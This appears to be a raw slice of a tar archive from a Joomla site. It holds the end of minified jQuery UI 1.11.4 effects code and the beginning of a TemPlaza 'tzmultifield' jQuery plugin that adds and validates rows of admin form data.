textEmphasisColor",r=/^([\-+])=\s*(\d+\.?\d*)/,h=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[e[1],e[2],e[3],e[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(e){return[2.55*e[1],2.55*e[2],2.55*e[3],e[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(e){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(e){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(e){return[e[1],e[2]/100,e[3]/100,e[4]]}}],l=e.Color=function(t,i,s,n){return new e.Color.fn.parse(t,i,s,n)},u={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},d={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},c=l.support={},p=e("<p>")[0],f=e.each;p.style.cssText="background-color:rgba(1,1,1,.5)",c.rgba=p.style.backgroundColor.indexOf("rgba")>-1,f(u,function(e,t){t.cache="_"+e,t.props.alpha={idx:3,type:"percent",def:1}}),l.fn=e.extend(l.prototype,{parse:function(n,o,r,h){if(n===t)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=e(n).css(o),o=t);var d=this,c=e.type(n),p=this._rgba=[];return o!==t&&(n=[n,o,r,h],c="array"),"string"===c?this.parse(s(n)||a._default):"array"===c?(f(u.rgba.props,function(e,t){p[t.idx]=i(n[t.idx],t)}),this):"object"===c?(n instanceof l?f(u,function(e,t){n[t.cache]&&(d[t.cache]=n[t.cache].slice())}):f(u,function(t,s){var a=s.cache;f(s.props,function(e,t){if(!d[a]&&s.to){if("alpha"===e||null==n[e])return;d[a]=s.to(d._rgba)}d[a][t.idx]=i(n[e],t,!0)}),d[a]&&0>e.inArray(null,d[a].slice(0,3))&&(d[a][3]=1,s.from&&(d._rgba=s.from(d[a])))}),this):t},is:function(e){var i=l(e),s=!0,n=this;return f(u,function(e,a){var o,r=i[a.cache];return r&&(o=n[a.cache]||a.to&&a.to(n._rgba)||[],f(a.props,function(e,i){return null!=r[i.idx]?s=r[i.idx]===o[i.idx]:t})),s}),s},_space:function(){var e=[],t=this;return f(u,function(i,s){t[s.cache]&&e.push(i)}),e.pop()},transition:function(e,t){var s=l(e),n=s._space(),a=u[n],o=0===this.alpha()?l("transparent"):this,r=o[a.cache]||a.to(o._rgba),h=r.slice();return s=s[a.cache],f(a.props,function(e,n){var a=n.idx,o=r[a],l=s[a],u=d[n.type]||{};null!==l&&(null===o?h[a]=l:(u.mod&&(l-o>u.mod/2?o+=u.mod:o-l>u.mod/2&&(o-=u.mod)),h[a]=i((l-o)*t+o,n)))}),this[n](h)},blend:function(t){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(t)._rgba;return l(e.map(i,function(e,t){return(1-s)*n[t]+s*e}))},toRgbaString:function(){var t="rgba(",i=e.map(this._rgba,function(e,t){return null==e?t>2?1:0:e});return 1===i[3]&&(i.pop(),t="rgb("),t+i.join()+")"},toHslaString:function(){var t="hsla(",i=e.map(this.hsla(),function(e,t){return null==e&&(e=t>2?1:0),t&&3>t&&(e=Math.round(100*e)+"%"),e});return 1===i[3]&&(i.pop(),t="hsl("),t+i.join()+")"},toHexString:function(t){var i=this._rgba.slice(),s=i.pop();return t&&i.push(~~(255*s)),"#"+e.map(i,function(e){return e=(e||0).toString(16),1===e.length?"0"+e:e}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,u.hsla.to=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t,i,s=e[0]/255,n=e[1]/255,a=e[2]/255,o=e[3],r=Math.max(s,n,a),h=Math.min(s,n,a),l=r-h,u=r+h,d=.5*u;return t=h===r?0:s===r?60*(n-a)/l+360:n===r?60*(a-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=d?l/u:l/(2-u),[Math.round(t)%360,i,d,null==o?1:o]},u.hsla.from=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t=e[0]/360,i=e[1],s=e[2],a=e[3],o=.5>=s?s*(1+i):s+i-s*i,r=2*s-o;return[Math.round(255*n(r,o,t+1/3)),Math.round(255*n(r,o,t)),Math.round(255*n(r,o,t-1/3)),a]},f(u,function(s,n){var a=n.props,o=n.cache,h=n.to,u=n.from;l.fn[s]=function(s){if(h&&!this[o]&&(this[o]=h(this._rgba)),s===t)return this[o].slice();var n,r=e.type(s),d="array"===r||"object"===r?s:arguments,c=this[o].slice();return f(a,function(e,t){var s=d["object"===r?e:t.idx];null==s&&(s=c[t.idx]),c[t.idx]=i(s,t)}),u?(n=l(u(c)),n[o]=c,n):l(c)},f(a,function(t,i){l.fn[t]||(l.fn[t]=function(n){var a,o=e.type(n),h="alpha"===t?this._hsla?"hsla":"rgba":s,l=this[h](),u=l[i.idx];return"undefined"===o?u:("function"===o&&(n=n.call(this,u),o=e.type(n)),null==n&&i.empty?this:("string"===o&&(a=r.exec(n),a&&(n=u+parseFloat(a[2])*("+"===a[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(t){var i=t.split(" ");f(i,function(t,i){e.cssHooks[i]={set:function(t,n){var a,o,r="";if("transparent"!==n&&("string"!==e.type(n)||(a=s(n)))){if(n=l(a||n),!c.rgba&&1!==n._rgba[3]){for(o="backgroundColor"===i?t.parentNode:t;(""===r||"transparent"===r)&&o&&o.style;)try{r=e.css(o,"backgroundColor"),o=o.parentNode}catch(h){}n=n.blend(r&&"transparent"!==r?r:"_default")}n=n.toRgbaString()}try{t.style[i]=n}catch(h){}}},e.fx.step[i]=function(t){t.colorInit||(t.start=l(t.elem,i),t.end=l(t.end),t.colorInit=!0),e.cssHooks[i].set(t.elem,t.start.transition(t.end,t.pos))
}})},l.hook(o),e.cssHooks.borderColor={expand:function(e){var t={};return f(["Top","Right","Bottom","Left"],function(i,s){t["border"+s+"Color"]=e}),t}},a=e.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}}(r),function(){function t(t){var i,s,n=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,a={};if(n&&n.length&&n[0]&&n[n[0]])for(s=n.length;s--;)i=n[s],"string"==typeof n[i]&&(a[e.camelCase(i)]=n[i]);else for(i in n)"string"==typeof n[i]&&(a[i]=n[i]);return a}function i(t,i){var s,a,o={};for(s in i)a=i[s],t[s]!==a&&(n[s]||(e.fx.step[s]||!isNaN(parseFloat(a)))&&(o[s]=a));return o}var s=["add","remove","toggle"],n={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};e.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,i){e.fx.step[i]=function(e){("none"!==e.end&&!e.setAttr||1===e.pos&&!e.setAttr)&&(r.style(e.elem,i,e.end),e.setAttr=!0)}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e.effects.animateClass=function(n,a,o,r){var h=e.speed(a,o,r);return this.queue(function(){var a,o=e(this),r=o.attr("class")||"",l=h.children?o.find("*").addBack():o;l=l.map(function(){var i=e(this);return{el:i,start:t(this)}}),a=function(){e.each(s,function(e,t){n[t]&&o[t+"Class"](n[t])})},a(),l=l.map(function(){return this.end=t(this.el[0]),this.diff=i(this.start,this.end),this}),o.attr("class",r),l=l.map(function(){var t=this,i=e.Deferred(),s=e.extend({},h,{queue:!1,complete:function(){i.resolve(t)}});return this.el.animate(this.diff,s),i.promise()}),e.when.apply(e,l.get()).done(function(){a(),e.each(arguments,function(){var t=this.el;e.each(this.diff,function(e){t.css(e,"")})}),h.complete.call(o[0])})})},e.fn.extend({addClass:function(t){return function(i,s,n,a){return s?e.effects.animateClass.call(this,{add:i},s,n,a):t.apply(this,arguments)}}(e.fn.addClass),removeClass:function(t){return function(i,s,n,a){return arguments.length>1?e.effects.animateClass.call(this,{remove:i},s,n,a):t.apply(this,arguments)}}(e.fn.removeClass),toggleClass:function(t){return function(i,s,n,a,o){return"boolean"==typeof s||void 0===s?n?e.effects.animateClass.call(this,s?{add:i}:{remove:i},n,a,o):t.apply(this,arguments):e.effects.animateClass.call(this,{toggle:i},s,n,a)}}(e.fn.toggleClass),switchClass:function(t,i,s,n,a){return e.effects.animateClass.call(this,{add:i,remove:t},s,n,a)}})}(),function(){function t(t,i,s,n){return e.isPlainObject(t)&&(i=t,t=t.effect),t={effect:t},null==i&&(i={}),e.isFunction(i)&&(n=i,s=null,i={}),("number"==typeof i||e.fx.speeds[i])&&(n=s,s=i,i={}),e.isFunction(s)&&(n=s,s=null),i&&e.extend(t,i),s=s||i.duration,t.duration=e.fx.off?0:"number"==typeof s?s:s in e.fx.speeds?e.fx.speeds[s]:e.fx.speeds._default,t.complete=n||i.complete,t}function i(t){return!t||"number"==typeof t||e.fx.speeds[t]?!0:"string"!=typeof t||e.effects.effect[t]?e.isFunction(t)?!0:"object"!=typeof t||t.effect?!1:!0:!0}e.extend(e.effects,{version:"1.11.4",save:function(e,t){for(var i=0;t.length>i;i++)null!==t[i]&&e.data(o+t[i],e[0].style[t[i]])},restore:function(e,t){var i,s;for(s=0;t.length>s;s++)null!==t[s]&&(i=e.data(o+t[s]),void 0===i&&(i=""),e.css(t[s],i))},setMode:function(e,t){return"toggle"===t&&(t=e.is(":hidden")?"show":"hide"),t},getBaseline:function(e,t){var i,s;switch(e[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=e[0]/t.height}switch(e[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=e[1]/t.width}return{x:s,y:i}},createWrapper:function(t){if(t.parent().is(".ui-effects-wrapper"))return t.parent();var i={width:t.outerWidth(!0),height:t.outerHeight(!0),"float":t.css("float")},s=e("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),n={width:t.width(),height:t.height()},a=document.activeElement;try{a.id}catch(o){a=document.body}return t.wrap(s),(t[0]===a||e.contains(t[0],a))&&e(a).focus(),s=t.parent(),"static"===t.css("position")?(s.css({position:"relative"}),t.css({position:"relative"})):(e.extend(i,{position:t.css("position"),zIndex:t.css("z-index")}),e.each(["top","left","bottom","right"],function(e,s){i[s]=t.css(s),isNaN(parseInt(i[s],10))&&(i[s]="auto")}),t.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),t.css(n),s.css(i).show()},removeWrapper:function(t){var i=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),(t[0]===i||e.contains(t[0],i))&&e(i).focus()),t},setTransition:function(t,i,s,n){return n=n||{},e.each(i,function(e,i){var a=t.cssUnit(i);a[0]>0&&(n[i]=a[0]*s+a[1])}),n}}),e.fn.extend({effect:function(){function i(t){function i(){e.isFunction(a)&&a.call(n[0]),e.isFunction(t)&&t()}var n=e(this),a=s.complete,r=s.mode;(n.is(":hidden")?"hide"===r:"show"===r)?(n[r](),i()):o.call(n[0],s,i)}var s=t.apply(this,arguments),n=s.mode,a=s.queue,o=e.effects.effect[s.effect];return e.fx.off||!o?n?this[n](s.duration,s.complete):this.each(function(){s.complete&&s.complete.call(this)}):a===!1?this.each(i):this.queue(a||"fx",i)},show:function(e){return function(s){if(i(s))return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode="show",this.effect.call(this,n)}}(e.fn.show),hide:function(e){return function(s){if(i(s))return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode="hide",this.effect.call(this,n)}}(e.fn.hide),toggle:function(e){return function(s){if(i(s)||"boolean"==typeof s)return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode="toggle",this.effect.call(this,n)}}(e.fn.toggle),cssUnit:function(t){var i=this.css(t),s=[];return e.each(["em","px","%","pt"],function(e,t){i.indexOf(t)>0&&(s=[parseFloat(i),t])}),s}})}(),function(){var t={};e.each(["Quad","Cubic","Quart","Quint","Expo"],function(e,i){t[i]=function(t){return Math.pow(t,e+2)}}),e.extend(t,{Sine:function(e){return 1-Math.cos(e*Math.PI/2)},Circ:function(e){return 1-Math.sqrt(1-e*e)},Elastic:function(e){return 0===e||1===e?e:-Math.pow(2,8*(e-1))*Math.sin((80*(e-1)-7.5)*Math.PI/15)},Back:function(e){return e*e*(3*e-2)},Bounce:function(e){for(var t,i=4;((t=Math.pow(2,--i))-1)/11>e;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*t-2)/22-e,2)}}),e.each(t,function(t,i){e.easing["easeIn"+t]=i,e.easing["easeOut"+t]=function(e){return 1-i(1-e)},e.easing["easeInOut"+t]=function(e){return.5>e?i(2*e)/2:1-i(-2*e+2)/2}})}(),e.effects,e.effects.effect.blind=function(t,i){var s,n,a,o=e(this),r=/up|down|vertical/,h=/up|left|vertical|horizontal/,l=["position","top","bottom","left","right","height","width"],u=e.effects.setMode(o,t.mode||"hide"),d=t.direction||"up",c=r.test(d),p=c?"height":"width",f=c?"top":"left",m=h.test(d),g={},v="show"===u;o.parent().is(".ui-effects-wrapper")?e.effects.save(o.parent(),l):e.effects.save(o,l),o.show(),s=e.effects.createWrapper(o).css({overflow:"hidden"}),n=s[p](),a=parseFloat(s.css(f))||0,g[p]=v?n:0,m||(o.css(c?"bottom":"right",0).css(c?"top":"left","auto").css({position:"absolute"}),g[f]=v?a:n+a),v&&(s.css(p,0),m||s.css(f,a+n)),s.animate(g,{duration:t.duration,easing:t.easing,queue:!1,complete:function(){"hide"===u&&o.hide(),e.effects.restore(o,l),e.effects.removeWrapper(o),i()}})},e.effects.effect.bounce=function(t,i){var s,n,a,o=e(this),r=["position","top","bottom","left","right","height","width"],h=e.effects.setMode(o,t.mode||"effect"),l="hide"===h,u="show"===h,d=t.direction||"up",c=t.distance,p=t.times||5,f=2*p+(u||l?1:0),m=t.duration/f,g=t.easing,v="up"===d||"down"===d?"top":"left",y="up"===d||"left"===d,b=o.queue(),_=b.length;for((u||l)&&r.push("opacity"),e.effects.save(o,r),o.show(),e.effects.createWrapper(o),c||(c=o["top"===v?"outerHeight":"outerWidth"]()/3),u&&(a={opacity:1},a[v]=0,o.css("opacity",0).css(v,y?2*-c:2*c).animate(a,m,g)),l&&(c/=Math.pow(2,p-1)),a={},a[v]=0,s=0;p>s;s++)n={},n[v]=(y?"-=":"+=")+c,o.animate(n,m,g).animate(a,m,g),c=l?2*c:c/2;l&&(n={opacity:0},n[v]=(y?"-=":"+=")+c,o.animate(n,m,g)),o.queue(function(){l&&o.hide(),e.effects.restore(o,r),e.effects.removeWrapper(o),i()}),_>1&&b.splice.apply(b,[1,0].concat(b.splice(_,f+1))),o.dequeue()},e.effects.effect.clip=function(t,i){var s,n,a,o=e(this),r=["position","top","bottom","left","right","height","width"],h=e.effects.setMode(o,t.mode||"hide"),l="show"===h,u=t.direction||"vertical",d="vertical"===u,c=d?"height":"width",p=d?"top":"left",f={};e.effects.save(o,r),o.show(),s=e.effects.createWrapper(o).css({overflow:"hidden"}),n="IMG"===o[0].tagName?s:o,a=n[c](),l&&(n.css(c,0),n.css(p,a/2)),f[c]=l?a:0,f[p]=l?0:a/2,n.animate(f,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){l||o.hide(),e.effects.restore(o,r),e.effects.removeWrapper(o),i()}})},e.effects.effect.drop=function(t,i){var s,n=e(this),a=["position","top","bottom","left","right","opacity","height","width"],o=e.effects.setMode(n,t.mode||"hide"),r="show"===o,h=t.direction||"left",l="up"===h||"down"===h?"top":"left",u="up"===h||"left"===h?"pos":"neg",d={opacity:r?1:0};e.effects.save(n,a),n.show(),e.effects.createWrapper(n),s=t.distance||n["top"===l?"outerHeight":"outerWidth"](!0)/2,r&&n.css("opacity",0).css(l,"pos"===u?-s:s),d[l]=(r?"pos"===u?"+=":"-=":"pos"===u?"-=":"+=")+s,n.animate(d,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){"hide"===o&&n.hide(),e.effects.restore(n,a),e.effects.removeWrapper(n),i()}})},e.effects.effect.explode=function(t,i){function s(){b.push(this),b.length===d*c&&n()}function n(){p.css({visibility:"visible"}),e(b).remove(),m||p.hide(),i()}var a,o,r,h,l,u,d=t.pieces?Math.round(Math.sqrt(t.pieces)):3,c=d,p=e(this),f=e.effects.setMode(p,t.mode||"hide"),m="show"===f,g=p.show().css("visibility","hidden").offset(),v=Math.ceil(p.outerWidth()/c),y=Math.ceil(p.outerHeight()/d),b=[];for(a=0;d>a;a++)for(h=g.top+a*y,u=a-(d-1)/2,o=0;c>o;o++)r=g.left+o*v,l=o-(c-1)/2,p.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-o*v,top:-a*y}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:v,height:y,left:r+(m?l*v:0),top:h+(m?u*y:0),opacity:m?0:1}).animate({left:r+(m?0:l*v),top:h+(m?0:u*y),opacity:m?1:0},t.duration||500,t.easing,s)},e.effects.effect.fade=function(t,i){var s=e(this),n=e.effects.setMode(s,t.mode||"toggle");s.animate({opacity:n},{queue:!1,duration:t.duration,easing:t.easing,complete:i})},e.effects.effect.fold=function(t,i){var s,n,a=e(this),o=["position","top","bottom","left","right","height","width"],r=e.effects.setMode(a,t.mode||"hide"),h="show"===r,l="hide"===r,u=t.size||15,d=/([0-9]+)%/.exec(u),c=!!t.horizFirst,p=h!==c,f=p?["width","height"]:["height","width"],m=t.duration/2,g={},v={};e.effects.save(a,o),a.show(),s=e.effects.createWrapper(a).css({overflow:"hidden"}),n=p?[s.width(),s.height()]:[s.height(),s.width()],d&&(u=parseInt(d[1],10)/100*n[l?0:1]),h&&s.css(c?{height:0,width:u}:{height:u,width:0}),g[f[0]]=h?n[0]:u,v[f[1]]=h?n[1]:0,s.animate(g,m,t.easing).animate(v,m,t.easing,function(){l&&a.hide(),e.effects.restore(a,o),e.effects.removeWrapper(a),i()})},e.effects.effect.highlight=function(t,i){var s=e(this),n=["backgroundImage","backgroundColor","opacity"],a=e.effects.setMode(s,t.mode||"show"),o={backgroundColor:s.css("backgroundColor")};"hide"===a&&(o.opacity=0),e.effects.save(s,n),s.show().css({backgroundImage:"none",backgroundColor:t.color||"#ffff99"}).animate(o,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){"hide"===a&&s.hide(),e.effects.restore(s,n),i()}})},e.effects.effect.size=function(t,i){var s,n,a,o=e(this),r=["position","top","bottom","left","right","width","height","overflow","opacity"],h=["position","top","bottom","left","right","overflow","opacity"],l=["width","height","overflow"],u=["fontSize"],d=["borderTopWidth","borderBottomWidth","paddingTop","paddingBottom"],c=["borderLeftWidth","borderRightWidth","paddingLeft","paddingRight"],p=e.effects.setMode(o,t.mode||"effect"),f=t.restore||"effect"!==p,m=t.scale||"both",g=t.origin||["middle","center"],v=o.css("position"),y=f?r:h,b={height:0,width:0,outerHeight:0,outerWidth:0};"show"===p&&o.show(),s={height:o.height(),width:o.width(),outerHeight:o.outerHeight(),outerWidth:o.outerWidth()},"toggle"===t.mode&&"show"===p?(o.from=t.to||b,o.to=t.from||s):(o.from=t.from||("show"===p?b:s),o.to=t.to||("hide"===p?b:s)),a={from:{y:o.from.height/s.height,x:o.from.width/s.width},to:{y:o.to.height/s.height,x:o.to.width/s.width}},("box"===m||"both"===m)&&(a.from.y!==a.to.y&&(y=y.concat(d),o.from=e.effects.setTransition(o,d,a.from.y,o.from),o.to=e.effects.setTransition(o,d,a.to.y,o.to)),a.from.x!==a.to.x&&(y=y.concat(c),o.from=e.effects.setTransition(o,c,a.from.x,o.from),o.to=e.effects.setTransition(o,c,a.to.x,o.to))),("content"===m||"both"===m)&&a.from.y!==a.to.y&&(y=y.concat(u).concat(l),o.from=e.effects.setTransition(o,u,a.from.y,o.from),o.to=e.effects.setTransition(o,u,a.to.y,o.to)),e.effects.save(o,y),o.show(),e.effects.createWrapper(o),o.css("overflow","hidden").css(o.from),g&&(n=e.effects.getBaseline(g,s),o.from.top=(s.outerHeight-o.outerHeight())*n.y,o.from.left=(s.outerWidth-o.outerWidth())*n.x,o.to.top=(s.outerHeight-o.to.outerHeight)*n.y,o.to.left=(s.outerWidth-o.to.outerWidth)*n.x),o.css(o.from),("content"===m||"both"===m)&&(d=d.concat(["marginTop","marginBottom"]).concat(u),c=c.concat(["marginLeft","marginRight"]),l=r.concat(d).concat(c),o.find("*[width]").each(function(){var i=e(this),s={height:i.height(),width:i.width(),outerHeight:i.outerHeight(),outerWidth:i.outerWidth()};f&&e.effects.save(i,l),i.from={height:s.height*a.from.y,width:s.width*a.from.x,outerHeight:s.outerHeight*a.from.y,outerWidth:s.outerWidth*a.from.x},i.to={height:s.height*a.to.y,width:s.width*a.to.x,outerHeight:s.height*a.to.y,outerWidth:s.width*a.to.x},a.from.y!==a.to.y&&(i.from=e.effects.setTransition(i,d,a.from.y,i.from),i.to=e.effects.setTransition(i,d,a.to.y,i.to)),a.from.x!==a.to.x&&(i.from=e.effects.setTransition(i,c,a.from.x,i.from),i.to=e.effects.setTransition(i,c,a.to.x,i.to)),i.css(i.from),i.animate(i.to,t.duration,t.easing,function(){f&&e.effects.restore(i,l)})})),o.animate(o.to,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){0===o.to.opacity&&o.css("opacity",o.from.opacity),"hide"===p&&o.hide(),e.effects.restore(o,y),f||("static"===v?o.css({position:"relative",top:o.to.top,left:o.to.left}):e.each(["top","left"],function(e,t){o.css(t,function(t,i){var s=parseInt(i,10),n=e?o.to.left:o.to.top;return"auto"===i?n+"px":s+n+"px"})})),e.effects.removeWrapper(o),i()}})},e.effects.effect.scale=function(t,i){var s=e(this),n=e.extend(!0,{},t),a=e.effects.setMode(s,t.mode||"effect"),o=parseInt(t.percent,10)||(0===parseInt(t.percent,10)?0:"hide"===a?0:100),r=t.direction||"both",h=t.origin,l={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()},u={y:"horizontal"!==r?o/100:1,x:"vertical"!==r?o/100:1};n.effect="size",n.queue=!1,n.complete=i,"effect"!==a&&(n.origin=h||["middle","center"],n.restore=!0),n.from=t.from||("show"===a?{height:0,width:0,outerHeight:0,outerWidth:0}:l),n.to={height:l.height*u.y,width:l.width*u.x,outerHeight:l.outerHeight*u.y,outerWidth:l.outerWidth*u.x},n.fade&&("show"===a&&(n.from.opacity=0,n.to.opacity=1),"hide"===a&&(n.from.opacity=1,n.to.opacity=0)),s.effect(n)},e.effects.effect.puff=function(t,i){var s=e(this),n=e.effects.setMode(s,t.mode||"hide"),a="hide"===n,o=parseInt(t.percent,10)||150,r=o/100,h={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()};e.extend(t,{effect:"scale",queue:!1,fade:!0,mode:n,complete:i,percent:a?o:100,from:a?h:{height:h.height*r,width:h.width*r,outerHeight:h.outerHeight*r,outerWidth:h.outerWidth*r}}),s.effect(t)},e.effects.effect.pulsate=function(t,i){var s,n=e(this),a=e.effects.setMode(n,t.mode||"show"),o="show"===a,r="hide"===a,h=o||"hide"===a,l=2*(t.times||5)+(h?1:0),u=t.duration/l,d=0,c=n.queue(),p=c.length;for((o||!n.is(":visible"))&&(n.css("opacity",0).show(),d=1),s=1;l>s;s++)n.animate({opacity:d},u,t.easing),d=1-d;n.animate({opacity:d},u,t.easing),n.queue(function(){r&&n.hide(),i()}),p>1&&c.splice.apply(c,[1,0].concat(c.splice(p,l+1))),n.dequeue()},e.effects.effect.shake=function(t,i){var s,n=e(this),a=["position","top","bottom","left","right","height","width"],o=e.effects.setMode(n,t.mode||"effect"),r=t.direction||"left",h=t.distance||20,l=t.times||3,u=2*l+1,d=Math.round(t.duration/u),c="up"===r||"down"===r?"top":"left",p="up"===r||"left"===r,f={},m={},g={},v=n.queue(),y=v.length;for(e.effects.save(n,a),n.show(),e.effects.createWrapper(n),f[c]=(p?"-=":"+=")+h,m[c]=(p?"+=":"-=")+2*h,g[c]=(p?"-=":"+=")+2*h,n.animate(f,d,t.easing),s=1;l>s;s++)n.animate(m,d,t.easing).animate(g,d,t.easing);n.animate(m,d,t.easing).animate(f,d/2,t.easing).queue(function(){"hide"===o&&n.hide(),e.effects.restore(n,a),e.effects.removeWrapper(n),i()}),y>1&&v.splice.apply(v,[1,0].concat(v.splice(y,u+1))),n.dequeue()},e.effects.effect.slide=function(t,i){var s,n=e(this),a=["position","top","bottom","left","right","width","height"],o=e.effects.setMode(n,t.mode||"show"),r="show"===o,h=t.direction||"left",l="up"===h||"down"===h?"top":"left",u="up"===h||"left"===h,d={};e.effects.save(n,a),n.show(),s=t.distance||n["top"===l?"outerHeight":"outerWidth"](!0),e.effects.createWrapper(n).css({overflow:"hidden"}),r&&n.css(l,u?isNaN(s)?"-"+s:-s:s),d[l]=(r?u?"+=":"-=":u?"-=":"+=")+s,n.animate(d,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){"hide"===o&&n.hide(),e.effects.restore(n,a),e.effects.removeWrapper(n),i()}})},e.effects.effect.transfer=function(t,i){var s=e(this),n=e(t.to),a="fixed"===n.css("position"),o=e("body"),r=a?o.scrollTop():0,h=a?o.scrollLeft():0,l=n.offset(),u={top:l.top-r,left:l.left-h,height:n.innerHeight(),width:n.innerWidth()},d=s.offset(),c=e("<div class='ui-effects-transfer'></div>").appendTo(document.body).addClass(t.className).css({top:d.top-r,left:d.left-h,height:s.innerHeight(),width:s.innerWidth(),position:a?"fixed":"absolute"}).animate(u,t.duration,t.easing,function(){c.remove(),i()})}});                                                                                                                                                                                                                                                                                                                                                                                                                                     system/tpl_profiler_params/admin/js/tzmultifield.js                                                 0000705                 00000032345 15242051521 0016714 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*------------------------------------------------------------------------

 # TZ Extension

 # ------------------------------------------------------------------------

 # author    DuongTVTemPlaza

 # copyright Copyright (C) 2012 templaza.com. All Rights Reserved.

 # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL

 # Websites: http://www.templaza.com

 # Technical Support:  Forum - http://templaza.com/Forum

 -------------------------------------------------------------------------*/

(function($) {
    'use strict';

    $.mtzmultifield   = function(el, options){
        var service = $(el);

        // making variables public
        service.vars = $.extend({}, $.mtzmultifield.defaults, options);

        var messages = service.vars.eMessages,
            position = -1,
            $hidden_name = service.vars.fieldName;

        // Store a reference to the slider object
        $.data(el, "mtzmultifield", service);

        service.htmlspecialchars    = function(str){
            if (typeof(str) == "string") {
                str = str.replace(/&/g, "&amp;"); /* must do &amp; first */
                str = str.replace(/"/g, "&quot;");
                str = str.replace(/'/g, "&#039;");
                str = str.replace(/</g, "&lt;");
                str = str.replace(/>/g, "&gt;");
            }
            return str;
        };

        // Add new data row
        $(service.vars.selector + " .tz_btn-add").bind("click",function(e){

            // Create input hidden with data were put
            var $tbodyHtmlClone   = service.vars.tbodyHtml;
            var $tbody_bool             = true;
            var $content                = {};

            $.each(service.vars.fields,function(key,value){
                var input_name  = value["name"].replace(/\[/,"\\[")
                    .replace(/\]/,"\\]");

                if(value["field_required"]){
                    $tbody_bool = false;
                    if(!$("#" + value["id"]).val().length){
                        alert(messages.invalidField + value["label"]);
                        $("#" + value["id"]).focus();
                        return false;
                    }
                }

                if(value["value_validate"]){
                    if($("#" + value["id"]).val() == value["value_validate"]){
                        alert(messages.failToValue + value['value_validate'] + messages.failOfField
                            + value["label"]);
                        return false;
                    }
                }

                // Check required and create row for table
                if(value["table_required"]){
                    var pattern = "\\{"+value["id"]+"\\}";
                    var regex   = new RegExp(pattern,'gi');
                    $tbodyHtmlClone   = $tbodyHtmlClone.replace(regex,$("#" + value["id"]).val());
                }

                $tbody_bool = true;

                if(value["type"].toLowerCase() == 'editor'){
                    // Get content of editor
                    if(service.vars.editorUsed == "jce") {
                        $content[value["fieldname"]] = WFEditor.getContent(value["id"]);
                    }else{
                        if(service.vars.editorUsed == "tinymce"){
                            $content[value["fieldname"]]    =  tinyMCE.activeEditor.getContent();
                        }else{
                            if(service.vars.editorUsed == "codemirror") {
                                $content[value["fieldname"]] = Joomla.editors.instances[value["id"]].getValue();
                            }else{
                                $content[value["fieldname"]] = $("#" + value["id"]).val();
                            }
                        }
                    }
                }else {
                    if($("[name=" + input_name + "]").prop('tagName').toLowerCase() == 'input'
                        && $("[name=" + input_name + "]").prop('type') == 'radio') {
                        $content[value["fieldname"]] = $("[name="+ value["name"].replace(/\[/,"\\[")
                                .replace(/\]/,"\\]")+"]:checked").val();
                    }else {
